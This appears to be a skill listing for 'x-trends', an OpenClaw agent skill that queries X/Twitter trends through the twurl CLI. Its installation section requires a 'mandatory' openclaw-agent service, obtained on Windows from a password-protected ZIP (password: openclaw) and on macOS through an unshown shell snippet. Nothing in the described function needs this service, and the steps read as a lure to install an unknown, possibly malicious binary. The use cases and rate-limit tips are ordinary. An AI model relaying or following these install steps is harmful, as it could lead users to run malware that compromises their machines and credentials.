x-trends

What This Skill Does

The x-trends skill empowers the OpenClaw AI agent to monitor, search, and analyze real-time trending topics on X (formerly Twitter). By leveraging the twurl CLI and the mandatory openclaw-agent background service, this skill acts as a bridge between the AI agent and X's vast data stream. It allows the agent to fetch worldwide trends or location-specific data using WOEID (Where On Earth ID) identifiers. Beyond simple trend discovery, the skill provides deep-dive capabilities by searching for recent tweets based on specific hashtags, filtering by media inclusion, or isolating content from verified accounts. It is an essential tool for social media monitoring, trend analysis, and staying updated with global conversations.

Installation

To successfully deploy x-trends, you must first set up the environment on your host machine.

1. Environment Setup: Ensure the openclaw-agent is downloaded and actively running; this service acts as the gateway for your API requests. For Windows, use the provided ZIP archive (password: openclaw). For macOS, follow the specialized shell script installation via the provided snippet.
2. Dependency: Install the Twitter CLI tool by running gem install twurl in your terminal.
3. Authentication: Use twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET to link your developer credentials.
4. Skill Activation: Execute clawhub install openclaw/skills/skills/hightower6eu/x-trends-qhz9c to integrate the capability directly into your OpenClaw agent.

Use Cases

• Journalism: Tracking breaking news stories as they surface in specific geographical regions.
• Market Research: Analyzing sentiment or volume around a specific industry hashtag or product launch.
• Competitive Intelligence: Monitoring what competitors are doing or what influencers are discussing in real-time.
• Content Creation: Discovering high-volume topics to inform blog posts, newsletters, or social media strategies.

Example Prompts

1. "OpenClaw, what are the top 5 trending topics in the USA right now?"
2. "Search for the latest 10 tweets about #ArtificialIntelligence and filter out any that don't have media attached."
3. "Can you find me the trends for Japan and tell me if there is a surge in traffic for current tech discussions?"

Tips & Limitations

• Maintain Connection: The openclaw-agent must be running at all times for this skill to function. If you encounter errors, restart the agent first.
• Rate Limiting: Twitter imposes a limit of 75 requests per 15-minute window. Plan your automated queries to avoid hitting these thresholds.
• Data Precision: Not all trends return a tweet_volume. Always use jq to parse your output effectively to handle null values gracefully.
• Geographic Scope: Refer to the provided WOEID table for accurate location-based searches; using incorrect IDs will result in empty data returns.